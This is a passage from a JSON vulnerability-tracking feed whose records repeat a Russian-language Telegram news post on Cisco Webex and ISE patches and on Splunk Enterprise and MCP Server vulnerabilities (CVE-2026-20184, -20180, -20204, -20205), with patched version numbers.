\u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043b\u0438\u0431\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f MCP Server 1.0.3. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Splunk Enterprise, Operator for Kubernetes Add-on, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 IT Service Intelligence (ITSI) \u0438 Universal Forwarder.\n\n\u0412 Splunk \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2026-04-16T15:20:07.000000Z"}, {"uuid": "1213999e-b066-4401-b5b3-fdf7c349fdcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20204", "type": "seen", "source": "https://t.me/true_secator/8110", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 Webex \u0438 Identity Services Engine (ISE).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 Webex, CVE-2026-20184, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044e \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u0441 Control Hub \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c Webex.\n\nCisco \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 Webex, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0435\u0434\u0438\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 (SSO), \u00ab\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SAML \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (IdP) \u0432 Control Hub.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ISE, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 CVE-2026-20180 \u0438 CVE-2026-20186 \u2013 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0412 \u043e\u0434\u043d\u043e\u0443\u0437\u043b\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Cisco ISE \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0441\u0435\u0442\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ISE, CVE-2026-20147, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, XSS, \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Cisco \u043d\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u00ab\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430\u00bb Splunk, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Splunk Enterprise, Cloud Platform \u0438 MCP Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0412 Splunk Enterprise and Cloud Platform \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20204, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 RCE.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Splunk, \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0435\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435.\n\n\u0412 Splunk Enterprise \u0438 Cloud Platform \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u0430\u0439\u0442, \u043d\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 UTF-8, \u0447\u0442\u043e \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0438\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Splunk Enterprise \u0434\u043e 10.2.2, 10.0.5, 9.4.10, 9.3.11 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Splunk \u0435\u0449\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-20205, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 MCP Server, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043b\u0438\u0431\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f MCP Server 1.0.3. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Splunk Enterprise, Operator for Kubernetes Add-on, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 IT Service Intelligence (ITSI) \u0438 Universal Forwarder.\n\n\u0412 Splunk \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2026-04-16T15:20:07.000000Z"}, {"uuid": "41cceda4-2f67-4ee3-affa-65dd7b7ace47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "seen", "source": "https://t.me/true_secator/8110", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 Webex \u0438 Identity Services Engine (ISE).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 Webex, CVE-2026-20184, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044e \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u0441 Control Hub \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e 